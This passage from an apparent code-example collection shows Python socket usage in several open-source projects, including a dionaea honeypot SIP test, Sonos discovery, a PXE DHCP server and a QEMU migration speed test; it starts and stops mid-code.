        # finished with the last node on the path, pop it off the path stack.
        if path:
            path.pop()

Example 41

Project: dionaea Source File: functional-test-sip.py
def runFunctionalTest1():
	c = VoipClient()
	logger.info("VoIP test client created")

	logger.info("Sending OPTIONS")
	c.options()

	data = c.recv().split('\n')
	for d in data:
		d = d.split(':')
		if d[0] == "Allow":
			# Get individual arguments
			methods = [x.strip(' ') for x in d[1].split(',')]
			assert "INVITE" in methods
			assert "OPTIONS" in methods
			assert "ACK" in methods
			assert "CANCEL" in methods
			assert "BYE" in methods
			assert "REGISTER" not in methods

	logger.info("Sending INVITE")
	c.invite()

	# Expecting a 401 Unauthorized
	data = c.recv()
	assert data.split('\n')[0] == "SIP/2.0 401 Unauthorized"
	logger.warning("Received 401 Unauthorized")

	# Calculate authentication response
	challengeResponse, nonce = authenticate(data)

	# Send INVITE again with authentication
	logger.info("Sending INVITE with challenge response")
	c.invite(challengeResponse, nonce)

	# Expecting a 180 Ringing first
	data = c.recv()
	assert data.split('\n')[0] == "SIP/2.0 180 Ringing"
	logger.info("Received 180 Ringing")

	# Expecting a 200 OK with the server's SDP message
	data = c.recv().split('\n')
	assert data[0] == "SIP/2.0 200 OK"
	assert data[5] == "Call-ID: {}".format(c.getCallId())

	logger.info("Received 200 OK")

	# Get SDP port of server
	sdpMedia = None
	for d in data:
		if d[:2] == "m=":
			sdpMedia = d[2:]
			break
	assert sdpMedia
	assert sdpMedia.split(' ')[0] == "audio"
	rtpPort = int(sdpMedia.split(' ')[1])
	logger.debug("SDP port: {}".format(rtpPort))

	# Send unauthenticated ACK
	logger.info("Sending ACK")
	c.ack()

	# Expecting 401
	data = c.recv()
	assert data.split('\n')[0] == "SIP/2.0 401 Unauthorized"
	logger.warning("Received 401 Unauthorized")

	# Calculate authentication response
	challengeResponse, nonce = authenticate(data)
	logger.info("Sending ACK with challenge response")
	c.ack(challengeResponse, nonce)

	# Expecting 200 OK
	data = c.recv().split('\n')
	assert data[0] == "SIP/2.0 200 OK"
	logger.info("Received 200 OK")

	# Active session goes here ...
	sleep(2)

	sRtp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
	sRtp.bind(('localhost', 30123))
	sRtp.connect(('localhost', rtpPort))
	logger.debug("Sending 'Hello World' to :{}".format(rtpPort))
	sRtp.sendto(b"Hello World", ('localhost', rtpPort))

	sleep(2)

	# Send unauthenticated BYE
	logger.info("Sending BYE")
	c.bye()

	# Expecting 401
	data = c.recv()
	assert data.split('\n')[0] == "SIP/2.0 401 Unauthorized"
	logger.warning("Received 401 Unauthorized")

	# Calculate authentication response
	challengeResponse, nonce = authenticate(data)

	# Active session ends
	logger.info("Sending BYE with challenge response")
	c.bye(challengeResponse, nonce)

	# Expecting a 200 OK
	data = c.recv().split('\n')
	assert data[0] == "SIP/2.0 200 OK"
	logger.info("Received 200 OK")

	# Check if stream dump file has been created
	#for channel in ["in", "out"]:
	if False:
		streamFile = glob("var/dionaea/stream_*_*_{}.rtpdump".format(channel))
		assert streamFile
		assert len(streamFile) > 0
		streamFile = streamFile[0]
		assert streamFile
		streamFile = open(streamFile, "r")
		streamData = streamFile.read()
		streamFile.close()
		assert streamData == "Hello World"

Example 42

Project: powerpool Source File: main.py
    def __init__(self, config):
        self._configure(config)
        self._log_handlers = []
        # Parse command line args
        self.config['server_number'] += self.config['args']['server_number']
        self.config['procname'] += "_{}".format(self.config['server_number'])
        # setup all our log handlers
        for log_cfg in self.config['loggers']:
            if log_cfg['type'] == "StreamHandler":
                kwargs = dict(stream=sys.stdout)
            else:
                kwargs = dict()
            handler = getattr(logging, log_cfg['type'])(**kwargs)
            log_level = getattr(logging, log_cfg['level'].upper())
            handler.setLevel(log_level)
            fmt = log_cfg.get('format', '%(asctime)s [%(name)s] [%(levelname)s] %(message)s')
            formatter = logging.Formatter(fmt)
            handler.setFormatter(formatter)
            self._log_handlers.append((log_cfg.get('listen'), handler))
        self.logger = self.register_logger(self.__class__.__name__)

        setproctitle.setproctitle(self.config['procname'])
        self.version = powerpool.__version__
        self.version_info = powerpool.__version_info__
        self.sha = getattr(powerpool, '__sha__', "unknown")
        self.rev_date = getattr(powerpool, '__rev_date__', "unknown")
        if self.sha == "unknown":
            # try and fetch the git version information
            try:
                output = subprocess.check_output("git show -s --format='%ci %h'",
                                                 shell=True).strip().rsplit(" ", 1)
                self.sha = output[1]
                self.rev_date = output[0]
            # celery won't work with this, so set some default
            except Exception as e:
                self.logger.info("Unable to fetch git hash info: {}".format(e))

        self.algos = {}
        self.server_start = datetime.datetime.utcnow()
        self.logger.info("=" * 80)
        self.logger.info("PowerPool stratum server ({}) starting up..."
                         .format(self.config['procname']))

        if __debug__:
            self.logger.warn(
                "Python not running in optimized mode. For better performance "
                "set enviroment variable PYTHONOPTIMIZE=2")
            # Only try to detect blocking if running in debug mode.
            # NOTE: BlockingDetector can cause (rare) PowerPool crashes
            gevent.spawn(BlockingDetector(raise_exc=False))

        # Detect and load all the hash functions we can find
        for name, algo_data in self.config['algorithms'].iteritems():
            self.algos[name] = algo_data.copy()
            self.algos[name]['name'] = name
            mod = algo_data['module']
            try:
                self.algos[name]['module'] = import_helper(mod)
            except ImportError:
                self.algos[name]['module'] = None
            else:
                self.logger.info("Enabling {} hashing algorithm from module {}"
                                 .format(name, mod))

        self.event_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.events_enabled = self.config['events']['enabled']
        if self.events_enabled:
            self.logger.info("Transmitting statsd formatted stats to {}:{}".format(
                self.config['events']['host'], self.config['events']['port']))
        self.events_address = (self.config['events']['host'].encode('utf8'),
                               self.config['events']['port'])

        # Setup all our stat managers
        self._min_stat_counters = []
        self._sec_stat_counters = []

        if self.config['datagram']['enabled']:
            listener = (self.config['datagram']['host'],
                        self.config['datagram']['port'] +
                        self.config['server_number'])
            self.logger.info("Turning on UDP control server on {}"
                             .format(listener))
            DatagramServer.__init__(self, listener, spawn=None)

Example 43

Project: virtmgr Source File: views.py
Function: index
def index(request):
	if not request.user.is_authenticated():
		return HttpResponseRedirect('/user/login')

	def get_hosts_status():
		kvm_host = Host.objects.filter(user=request.user.id).order_by('-id')
		name_ipddr = {}
		for host in kvm_host:
			try:
				s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
				s.settimeout(1)
				s.connect((host.ipaddr, 16509))
				s.close()
				status = 1
			except:
				status = 2
			name_ipddr[host.id] = (host.hostname, 
										 host.ipaddr, 
										 host.login, 
										 host.passwd, 
										 status
										 )
	   	return name_ipddr
	
	def del_host(host):
		hosts = Host.objects.get(user=request.user.id, hostname=host)
		hosts.delete()

	def add_host(host, ip, usr, passw):
		hosts = Host(user_id=request.user.id, 
					 hostname=host, 
					 ipaddr=ip, 
					 login=usr, 
					 passwd=passw,
					 state=0
					 )
		hosts.save()
		kvm_host = Host.objects.get(user=request.user.id, hostname=host)
		msg = _('Add server: ')
		msg = msg + host
		error_msg = Log(host_id=kvm_host.id, 
			            type='user', 
			            message=msg, 
			            user_id=request.user.id
			            )
		error_msg.save()

	def get_host_status(hosts):
		for host, info in hosts.items():
			print host, info

#	if request.session['login_kvm'] or request.session['passwd_kvm']:
#		del request.session['login_kvm']
#		del request.session['passwd_kvm']

	host_info = get_hosts_status()
	errors = []

	if request.method == 'POST':
		if request.POST.get('delete',''):
			host = request.POST.get('host','')
			del_host(host)
			return HttpResponseRedirect('/dashboard/')
		if request.POST.get('add',''):
			name = request.POST.get('name','')
			ipaddr = request.POST.get('ipaddr','')
			login = request.POST.get('sshusr','')
			passw = request.POST.get('passw','')
			simbol = re.search('[^a-zA-Z0-9\_]+', name)
			ipsimbol = re.search('[^a-z0-9\.\-]+', ipaddr)
			domain = re.search('[\.]+', ipaddr)
			privat_ip1 = re.search('^172\.16\.', ipaddr)
			privat_ip2 = re.search('^192\.168\.', ipaddr)
			privat_ip3 = re.search('^10\.', ipaddr)
			privat_ip4 = re.search('^127\.', ipaddr)
			if privat_ip1 or privat_ip2 or privat_ip3 or privat_ip4:
				msg = _('IP address can not be a private address space')
				errors.append(msg)
			if len(name) > 20:
				msg = _('The host name must not exceed 20 characters')
				errors.append(msg)
			if ipsimbol or not domain:
				msg = _('Hostname must contain only numbers, or the domain name separated by "."')
				errors.append(msg)
			if simbol:
				msg = _('The host name must not contain any characters and Russian characters')
				errors.append(msg)
			else:
				have_host = Host.objects.filter(user=request.user, hostname=name)
				have_ip = Host.objects.filter(user=request.user, ipaddr=ipaddr)
				if have_host or have_ip:
					msg = _('This host is already connected')
					errors.append(msg)
			if not name:
				msg = _('No hostname has been entered')
				errors.append(msg)
			if not ipaddr:
				msg = _('No IP address has been entered')
				errors.append(msg)
			#if not login:
			#	msg = _('No KVM login was been entered')
			#	errors.append(msg)
			#if not passw:
			#	msg = _('No KVM password was been entered ')
			#	errors.append(msg)
			if not errors:
				add_host(name, ipaddr, login, passw)
				return HttpResponseRedirect('/dashboard/')
	return render_to_response('dashboard.html', locals())

Example 44

Project: SoCo Source File: discovery.py
Function: discover
def discover(timeout=5, include_invisible=False, interface_addr=None):
    """ Discover Sonos zones on the local network.

    Return a set of `SoCo` instances for each zone found.
    Include invisible zones (bridges and slave zones in stereo pairs if
    ``include_invisible`` is `True`. Will block for up to ``timeout`` seconds,
     after which return `None` if no zones found.

    Args:
        timeout (int, optional): block for this many seconds, at most.
            Defaults to 5.
        include_invisible (bool, optional): include invisible zones in the
            return set. Defaults to `False`.
        interface_addr (str or None): Discovery operates by sending UDP
            multicast datagrams. ``interface_addr`` is a string (dotted
            quad) representation of the network interface address to use as
            the source of the datagrams (i.e. it is a value for
            `socket.IP_MULTICAST_IF <socket>`). If `None` or not specified,
            the system default interface for UDP multicast messages will be
            used. This is probably what you want to happen. Defaults to
            `None`.
    Returns:
        set: a set of `SoCo` instances, one for each zone found, or else
            `None`.

    Note:
        There is no easy cross-platform way to find out the addresses of the
        local machine's network interfaces. You might try the
        `netifaces module <https://pypi.python.org/pypi/netifaces>`_ and some
        code like this:

            >>> from netifaces import interfaces, AF_INET, ifaddresses
            >>> data = [ifaddresses(i) for i in interfaces()]
            >>> [d[AF_INET][0]['addr'] for d in data if d.get(AF_INET)]
            ['127.0.0.1', '192.168.1.20']

            This should provide you with a list of values to try for
            interface_addr if you are having trouble finding your Sonos devices

    """

    def create_socket(interface_addr=None):
        """ A helper function for creating a socket for discover purposes.

        Create and return a socket with appropriate options set for multicast.
        """

        _sock = socket.socket(
            socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
        # UPnP v1.0 requires a TTL of 4
        _sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL,
                         struct.pack("B", 4))
        if interface_addr is not None:
            _sock.setsockopt(
                socket.IPPROTO_IP, socket.IP_MULTICAST_IF,
                socket.inet_aton(interface_addr))
        return _sock

    # pylint: disable=invalid-name
    PLAYER_SEARCH = dedent("""\
        M-SEARCH * HTTP/1.1
        HOST: 239.255.255.250:1900
        MAN: "ssdp:discover"
        MX: 1
        ST: urn:schemas-upnp-org:device:ZonePlayer:1
        """).encode('utf-8')
    MCAST_GRP = "239.255.255.250"
    MCAST_PORT = 1900

    _sockets = []
    # Use the specified interface, if any
    if interface_addr is not None:
        try:
            address = socket.inet_aton(interface_addr)
        except socket.error:
            raise ValueError("{0} is not a valid IP address string".format(
                interface_addr))
        _sockets.append(create_socket(interface_addr))
        _LOG.info("Sending discovery packets on default interface")
    else:
        # Find the local network address using a couple of different methods.
        # Create a socket for each unique address found, and one for the
        # default multicast address
        addresses = set()
        try:
            addresses.add(socket.gethostbyname(socket.gethostname()))
        except socket.error:
            pass
        try:
            addresses.add(socket.gethostbyname(socket.getfqdn()))
        except socket.error:
            pass
        for address in addresses:
            try:
                _sockets.append(create_socket(address))
            except socket.error as e:
                _LOG.warning("Can't make a discovery socket for %s: %s: %s",
                             address, e.__class__.__name__, e)
        # Add a socket using the system default address
        _sockets.append(create_socket())
        # Used to be logged as:
        # list(s.getsockname()[0] for s in _sockets)
        # but getsockname fails on Windows with unconnected unbound sockets
        # https://bugs.python.org/issue1049
        _LOG.info("Sending discovery packets on %s", _sockets)

    for _ in range(0, 3):
        # Send a few times to each socket. UDP is unreliable
        for _sock in _sockets:
            _sock.sendto(really_utf8(PLAYER_SEARCH), (MCAST_GRP, MCAST_PORT))

    t0 = time.time()
    while True:
        # Check if the timeout is exceeded. We could do this check just
        # before the currently only continue statement of this loop,
        # but I feel it is safer to do it here, so that we do not forget
        # to do it if/when another continue statement is added later.
        # Note: this is sensitive to clock adjustments. AFAIK there
        # is no monotonic timer available before Python 3.3.
        t1 = time.time()
        if t1 - t0 > timeout:
            return None

        # The timeout of the select call is set to be no greater than
        # 100ms, so as not to exceed (too much) the required timeout
        # in case the loop is executed more than once.
        response, _, _ = select.select(_sockets, [], [], min(timeout, 0.1))

        # Only Zone Players should respond, given the value of ST in the
        # PLAYER_SEARCH message. However, to prevent misbehaved devices
        # on the network disrupting the discovery process, we check that
        # the response contains the "Sonos" string; otherwise we keep
        # waiting for a correct response.
        #
        # Here is a sample response from a real Sonos device (actual numbers
        # have been redacted):
        # HTTP/1.1 200 OK
        # CACHE-CONTROL: max-age = 1800
        # EXT:
        # LOCATION: http://***.***.***.***:1400/xml/device_description.xml
        # SERVER: Linux UPnP/1.0 Sonos/26.1-76230 (ZPS3)
        # ST: urn:schemas-upnp-org:device:ZonePlayer:1
        # USN: uuid:RINCON_B8cuem*********00::urn:schemas-upnp-org:device:
        #                                                     ZonePlayer:1
        # X-RINCON-BOOTSEQ: 3
        # X-RINCON-HOUSEHOLD: Sonos_7O********************R7eU

        if response:
            for _sock in response:
                data, addr = _sock.recvfrom(1024)
                _LOG.debug(
                    'Received discovery response from %s: "%s"', addr, data
                )
                if b"Sonos" in data:
                    # Now we have an IP, we can build a SoCo instance and query
                    # that player for the topology to find the other players.
                    # It is much more efficient to rely upon the Zone
                    # Player's ability to find the others, than to wait for
                    # query responses from them ourselves.
                    zone = config.SOCO_CLASS(addr[0])
                    if include_invisible:
                        return zone.all_zones
                    else:
                        return zone.visible_zones

Example 45

Project: scoop Source File: scooptcp.py
    def __init__(self):
        # TODO number of broker
        self.number_of_broker = float('inf')
        self.broker_set = set()

        # Get the current address of the interface facing the broker
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect((scoop.BROKER.externalHostname, scoop.BROKER.task_port))
        external_addr = s.getsockname()[0]
        s.close()

        if external_addr in utils.loopbackReferences:
            external_addr = scoop.BROKER.externalHostname

        # Create an inter-worker socket
        self.direct_socket_peers = []
        self.direct_socket = DirectSocketServer('', 0)
        self.direct_socket_port = self.direct_socket.getsockname()[1]

        scoop.worker = "{addr}:{port}".format(
            addr=external_addr,
            port=self.direct_socket_port,
        ).encode()

        # Update the logger to display our name
        try:
            scoop.logger.handlers[0].setFormatter(
                logging.Formatter(
                    "[%(asctime)-15s] %(module)-9s ({0}) %(levelname)-7s "
                    "%(message)s".format(scoop.worker)
                )
            )
        except IndexError:
            scoop.logger.debug(
                "Could not set worker name into logger ({0})".format(
                    scoop.worker
                )
            )

        # socket for the futures, replies and request
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        # socket for the shutdown signal
        #self.infoSocket = CreateZMQSocket(zmq.SUB)
        
        # Set poller
        #self.poller = zmq.Poller()
        #self.poller.register(self.socket, zmq.POLLIN)
        #self.poller.register(self.direct_socket, zmq.POLLIN)
        #self.poller.register(self.infoSocket, zmq.POLLIN)

        self._addBroker(scoop.BROKER)

        # Send an INIT to get all previously set variables and share
        # current configuration to broker
        self.socket.send(serialize(
            b"INIT",
            pickle.dumps(scoop.CONFIGURATION),
        ))
        scoop.CONFIGURATION.update(pickle.loads(self.socket.recv()))
        inboundVariables = pickle.loads(self.socket.recv())
        shared.elements = dict([
            (pickle.loads(key),
                dict([(pickle.loads(varName),
                       pickle.loads(varValue))
                    for varName, varValue in value.items()
                ]))
                for key, value in inboundVariables.items()
        ])
        for broker in pickle.loads(self.socket.recv()):
            # Skip already connected brokers
            if broker in self.broker_set:
                continue
            self._addBroker(broker)

        self.OPEN = True

        self.loop_thread = threading.Thread(target=asyncore.loop,
                                            name="Asyncore Loop")
        self.loop_thread.daemon = True
        self.loop_thread.start()

Example 46

Project: cpppo Source File: network.py
def server_main( address, target=None, kwargs=None, idle_service=None, thread_factory=server_thread,
                 reuse=True, tcp=True, udp=False, **kwds ):
    """A generic server main, binding to address (on TCP/IP but not UDP/IP by default), and serving
    each incoming connection with a separate thread_factory (server_thread by default, a
    threading.Thread) instance running the target function (or its overridden run method, if
    desired).  Each server must be passed two positional arguments in the 'args' keyword (the
    connect socket and the peer address), plus any keyword args required by the target function in
    the 'kwargs' keyword.  Any remaining keyword parameters are passed to the thread_factory
    (eg. for server_thread_profiling, a 'file' keyword might be appropriate )

    The kwargs (default: None) container is passed to each thread; it is *shared*, and each thread
    must treat its contents with appropriate care.  It can be used as a conduit to transmit
    changing configuration information to all running threads.  Pass keys with values that are
    mutable container objects (eg. dict, list), so that the original object is retained when the
    kwargs is broken out into arguments for the Thread's target function.

    If a 'server' keyword is passed, it is assumed to be a dict/dotdict/apidict contain the
    server's status and control attributes.  When either the 'done' or 'disable' entry is set to
    True, the server_main will attempt to terminate all existing server threads, close the
    listening socket and return.  If a KeyboardInterrupt or other Exception occurs, then
    server.control.done will be forced True.

    Thus, the caller can optionally pass the 'server' kwarg dict; the 'disable' entry will force
    the server_main to stop listening on the socket temporarily (for later resumption), and 'done'
    to signal (or respond to) a forced termination.

    An optional 'latency' and 'timeout' kwarg entries are recognized, and sets the accept timeout
    (default: .1s): the time between loops checking our control status, when no incoming
    connections are available, and the join timeout (default: latency) allowed for each thread to
    respond to the server being done/disabled.

    If supplied, the 'idle_service' function will be invoked whenever 'latency' passes without an
    incoming socket being accepted.

    To successfully handle UDP/IP sessions, the target must be able to handle an 'conn' that is a
    UDP/IP SOCK_DGRAM socket, and an 'addr' which is None (since the peer is not know, and is
    possibly different on each request.)

    """

    name			= target.__name__ if target else thread_factory.__name__
    threads			= {}
    log.normal( "%s server PID [%5d] running on %r", name, os.getpid(), address )
    # Ensure that any server.control in kwds is a dotdict.  Specifically, we can handle an
    # cpppo.apidict, which responds to getattr by releasing the corresponding setattr.  We will
    # respond to server.control.done and .disable.  When this loop awakens it will sense
    # done/disable (without releasing the setattr, if an apidict was used!), and attempt to join the
    # server thread(s).  This will (usually) invoke a clean shutdown procedure.  Finally, after all
    # threads have been joined, the .disable/done will be released (via getattr) at top of loop
    control			= kwargs.get( 'server', {} ).get( 'control', {} ) if kwargs else {}
    if isinstance( control, dotdict ):
        if 'done' in control or 'disable' in control:
            log.normal( "%s server PID [%5d] responding to external done/disable signal in object %s",
                        name, os.getpid(), id( control ))
    else:
        # It's a plain dict; force it into a dotdict, so we can use index/attr access
        control			= dotdict( control )
    control['done']		= False
    control['disable']		= False
    if 'latency' not in control:
        control['latency']	= .5
    control['latency']		= float( control['latency'] )
    if 'timeout' not in control:
        control['timeout']	= 2 * control.latency
    control['timeout']		= float( control['timeout'] )

    def thread_start( conn, addr ):
        """Start a thread_factory Thread instance to service the given I/O 'conn'.  The peer 'addr' is
        supplied (if known; None, otherwise).  If peer address is None, the service Thread may
        decide to take alternative actions to determine the Peer address (ie. use socket.recvfrom).

        """
        thrd			= None
        try:
            thrd		= thread_factory( target=target, args=(conn, addr), kwargs=kwargs,
                                                  **kwds )
            thrd.daemon 	= True
            thrd.start()
            threads[addr]	= thrd
        except Exception as exc:
            # Failed to setup or start service Thread for some reason!  Don't remember
            log.warning( "Failed to start Thread to service connection %r; %s", addr, exc )
            conn.close()
            del thrd

    # Establish TCP/IP (listen) and/or UDP/IP (I/O) sockets
    if udp:
        udp_sock		= socket.socket( socket.AF_INET, socket.SOCK_DGRAM )
        udp_sock.bind( address )
        thread_start( udp_sock, None )

    if tcp:
        tcp_sock		= socket.socket( socket.AF_INET, socket.SOCK_STREAM )
        if reuse:
            tcp_sock.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) # Avoid delay on next bind due to TIME_WAIT
            if hasattr( socket, 'SO_REUSEPORT' ):
                tcp_sock.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEPORT, 1 )
        tcp_sock.bind( address )
        tcp_sock.listen( 100 ) # How may simultaneous unaccepted connection requests

    while not control.disable and not control.done: # and report completion to external API (eg. web)
        try:
            acceptable		= None
            if tcp:
                acceptable	= accept( tcp_sock, timeout=control['latency'] )
            else:
                time.sleep( control['latency'] ) # No TCP/IP; just pause
            if acceptable:
                conn,addr	= acceptable
                thread_start( conn, addr )
            elif idle_service is not None:
                idle_service()
        except KeyboardInterrupt as exc:
            log.warning( "%s server termination: %r", name, exc )
            control['done']	= True
        except Exception as exc:
            log.warning( "%s server failure: %s\n%s", name,
                         exc, ''.join( traceback.format_exc() ))
            control['done']	= True
        finally:
            # Tidy up any dead threads (or all, if done/disable).  We detect done/disable here, but
            # do not report it (yet) to external API if an apidict is used.
            for addr in list( threads ):
                if control['disable'] or control['done'] or not threads[addr].is_alive():
                    threads[addr].join( timeout=control['timeout'] )
                    del threads[addr]
    if tcp:
        tcp_sock.close()
    log.normal( "%s server PID [%5d] shutting down (%s)", name, os.getpid(),
                "disabled" if control['disable'] else "done" if control['done'] else "unknown reason" )
    return 0

Example 47

Project: PyPXE Source File: dhcp.py
Function: init
    def __init__(self, **server_settings):

        self.ip = server_settings.get('ip', '192.168.2.2')
        self.port = int(server_settings.get('port', 67))
        self.offer_from = server_settings.get('offer_from', '192.168.2.100')
        self.offer_to = server_settings.get('offer_to', '192.168.2.150')
        self.subnet_mask = server_settings.get('subnet_mask', '255.255.255.0')
        self.router = server_settings.get('router', '192.168.2.1')
        self.dns_server = server_settings.get('dns_server', '8.8.8.8')
        self.broadcast = server_settings.get('broadcast', '<broadcast>')
        self.file_server = server_settings.get('file_server', '192.168.2.2')
        self.file_name = server_settings.get('file_name', '')
        if not self.file_name:
            self.force_file_name = False
            self.file_name = 'pxelinux.0'
        else:
            self.force_file_name = True
        self.ipxe = server_settings.get('use_ipxe', False)
        self.http = server_settings.get('use_http', False)
        self.mode_proxy = server_settings.get('mode_proxy', False) # ProxyDHCP mode
        self.static_config = server_settings.get('static_config', dict())
        self.whitelist = server_settings.get('whitelist', False)
        self.mode_verbose = server_settings.get('mode_verbose', False) # debug mode
        self.mode_debug = server_settings.get('mode_debug', False) # debug mode
        self.logger = server_settings.get('logger', None)
        self.save_leases_file = server_settings.get('saveleases', '')
        self.magic = struct.pack('!I', 0x63825363) # magic cookie

        # setup logger
        if self.logger == None:
            self.logger = logging.getLogger('DHCP')
            handler = logging.StreamHandler()
            formatter = logging.Formatter('%(asctime)s [%(levelname)s] %(name)s %(message)s')
            handler.setFormatter(formatter)
            self.logger.addHandler(handler)
        if self.mode_debug:
            self.logger.setLevel(logging.DEBUG)
        elif self.mode_verbose:
            self.logger.setLevel(logging.INFO)
        else:
            self.logger.setLevel(logging.WARN)

        if self.http and not self.ipxe:
            self.logger.warning('HTTP selected but iPXE disabled. PXE ROM must support HTTP requests.')
        if self.ipxe and self.http:
            self.file_name = 'http://{0}/{1}'.format(self.file_server, self.file_name)
        if self.ipxe and not self.http:
            self.file_name = 'tftp://{0}/{1}'.format(self.file_server, self.file_name)

        self.logger.debug('NOTICE: DHCP server started in debug mode. DHCP server is using the following:')
        self.logger.info('DHCP Server IP: {0}'.format(self.ip))
        self.logger.info('DHCP Server Port: {0}'.format(self.port))

        # debug info for ProxyDHCP mode
        if not self.mode_proxy:
            self.logger.info('Lease Range: {0} - {1}'.format(self.offer_from, self.offer_to))
            self.logger.info('Subnet Mask: {0}'.format(self.subnet_mask))
            self.logger.info('Router: {0}'.format(self.router))
            self.logger.info('DNS Server: {0}'.format(self.dns_server))
            self.logger.info('Broadcast Address: {0}'.format(self.broadcast))

        if self.static_config:
            self.logger.info('Using Static Leasing')
            self.logger.info('Using Static Leasing Whitelist: {0}'.format(self.whitelist))

        self.logger.info('File Server IP: {0}'.format(self.file_server))
        self.logger.info('File Name: {0}'.format(self.file_name))
        self.logger.info('ProxyDHCP Mode: {0}'.format(self.mode_proxy))
        self.logger.info('Using iPXE: {0}'.format(self.ipxe))
        self.logger.info('Using HTTP Server: {0}'.format(self.http))

        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
        self.sock.bind(('', self.port ))

        # key is MAC
        # separate options dict so we don't have to clean up on export
        self.options = dict()
        self.leases = defaultdict(lambda: {'ip': '', 'expire': 0, 'ipxe': self.ipxe})
        if self.save_leases_file:
            try:
                leases_file = open(self.save_leases_file, 'rb')
                imported = json.load(leases_file)
                import_safe = dict()
                for lease in imported:
                    packed_mac = struct.pack('BBBBBB', *map(lambda x:int(x, 16), lease.split(':')))
                    import_safe[packed_mac] = imported[lease]
                self.leases.update(import_safe)
                self.logger.info('Loaded leases from {0}'.format(self.save_leases_file))
            except IOError, ValueError:
                pass

        signal.signal(signal.SIGINT, self.export_leases)
        signal.signal(signal.SIGTERM, self.export_leases)
        signal.signal(signal.SIGALRM, self.export_leases)
        signal.signal(signal.SIGHUP, self.export_leases)

Example 48

Project: tp-qemu Source File: migration_multi_host_with_speed_measurement.py
def run(test, params, env):
    """
    KVM migration test:
    1) Get a live VM and clone it.
    2) Verify that the source VM supports migration.  If it does, proceed with
            the test.
    3) Start memory load in vm.
    4) Set defined migration speed.
    5) Send a migration command to the source VM and collecting statistic
            of migration speed.
    !) Checks that migration utilisation didn't slow down in guest stresser
       which would lead to less page-changes than required for this test.
       (migration speed is set too high for current CPU)
    6) Kill both VMs.
    7) Print statistic of migration.

    :param test: kvm test object.
    :param params: Dictionary with test parameters.
    :param env: Dictionary with the test environment.
    """
    mig_protocol = params.get("mig_protocol", "tcp")
    base_class = migration.MultihostMigration
    if mig_protocol == "fd":
        base_class = migration.MultihostMigrationFd
    if mig_protocol == "exec":
        base_class = migration.MultihostMigrationExec
    if "rdma" in mig_protocol:
        base_class = migration.MultihostMigrationRdma

    install_path = params.get("cpuflags_install_path", "/tmp")

    vm_mem = int(params.get("mem", "512"))

    get_mig_speed = re.compile("^transferred ram: (\d+) kbytes$",
                               re.MULTILINE)

    mig_speed = params.get("mig_speed", "1G")
    mig_speed_accuracy = float(params.get("mig_speed_accuracy", "0.2"))

    def get_migration_statistic(vm):
        last_transfer_mem = 0
        transfered_mem = 0
        mig_stat = utils.Statistic()
        for _ in range(30):
            o = vm.monitor.info("migrate")
            warning_msg = ("Migration already ended. Migration speed is"
                           " probably too high and will block vm while"
                           " filling its memory.")
            fail_msg = ("Could not determine the transferred memory from"
                        " monitor data: %s" % o)
            if isinstance(o, str):
                if "status: active" not in o:
                    raise error.TestWarn(warning_msg)
                try:
                    transfered_mem = int(get_mig_speed.search(o).groups()[0])
                except (IndexError, ValueError):
                    raise error.TestFail(fail_msg)
            else:
                if o.get("status") != "active":
                    raise error.TestWarn(warning_msg)
                try:
                    transfered_mem = o.get("ram").get("transferred") / (1024)
                except (IndexError, ValueError):
                    raise error.TestFail(fail_msg)

            real_mig_speed = (transfered_mem - last_transfer_mem) / 1024

            last_transfer_mem = transfered_mem

            logging.debug("Migration speed: %s MB/s" % (real_mig_speed))
            mig_stat.record(real_mig_speed)
            time.sleep(1)

        return mig_stat

    class TestMultihostMigration(base_class):

        def __init__(self, test, params, env):
            super(TestMultihostMigration, self).__init__(test, params, env)
            self.mig_stat = None
            self.srchost = self.params.get("hosts")[0]
            self.dsthost = self.params.get("hosts")[1]
            self.id = {'src': self.srchost,
                       'dst': self.dsthost,
                       "type": "speed_measurement"}
            self.link_speed = 0

        def check_vms(self, mig_data):
            """
            Check vms after migrate.

            :param mig_data: object with migration data.
            """
            pass

        def migrate_vms_src(self, mig_data):
            """
            Migrate vms source.

            :param mig_Data: Data for migration.

            For change way how machine migrates is necessary
            re implement this method.
            """
            super_cls = super(TestMultihostMigration, self)
            super_cls.migrate_vms_src(mig_data)
            vm = mig_data.vms[0]
            self.mig_stat = get_migration_statistic(vm)

        def migration_scenario(self):
            sync = SyncData(self.master_id(), self.hostid, self.hosts,
                            self.id, self.sync_server)
            srchost = self.params.get("hosts")[0]
            dsthost = self.params.get("hosts")[1]
            vms = [params.get("vms").split()[0]]

            def worker(mig_data):
                vm = mig_data.vms[0]
                session = vm.wait_for_login(timeout=self.login_timeout)

                cpuflags.install_cpuflags_util_on_vm(test, vm, install_path,
                                                     extra_flags="-msse3 -msse2")

                cmd = ("%s/cpuflags-test --stressmem %d,%d" %
                       (os.path.join(install_path, "cpu_flags"),
                        vm_mem * 4, vm_mem / 2))
                logging.debug("Sending command: %s" % (cmd))
                session.sendline(cmd)

            if self.master_id() == self.hostid:
                server_port = utils_misc.find_free_port(5200, 6000)
                server = listen_server(port=server_port)
                data_len = 0
                sync.sync(server_port, timeout=120)
                client = server.socket.accept()[0]
                endtime = time.time() + 30
                while endtime > time.time():
                    data_len += len(client.recv(2048))
                client.close()
                server.close()
                self.link_speed = data_len / (30 * 1024 * 1024)
                logging.info("Link speed %d MB/s" % (self.link_speed))
                ms = utils.convert_data_size(mig_speed, 'M')
                if (ms > data_len / 30):
                    logging.warn("Migration speed %s MB/s is set faster than "
                                 "real link speed %d MB/s" % (mig_speed,
                                                              self.link_speed))
                else:
                    self.link_speed = ms / (1024 * 1024)
            else:
                data = ""
                for _ in range(10000):
                    data += "i"
                server_port = sync.sync(timeout=120)[self.master_id()]
                sock = socket.socket(socket.AF_INET,
                                     socket.SOCK_STREAM)
                sock.connect((self.master_id(), server_port))
                try:
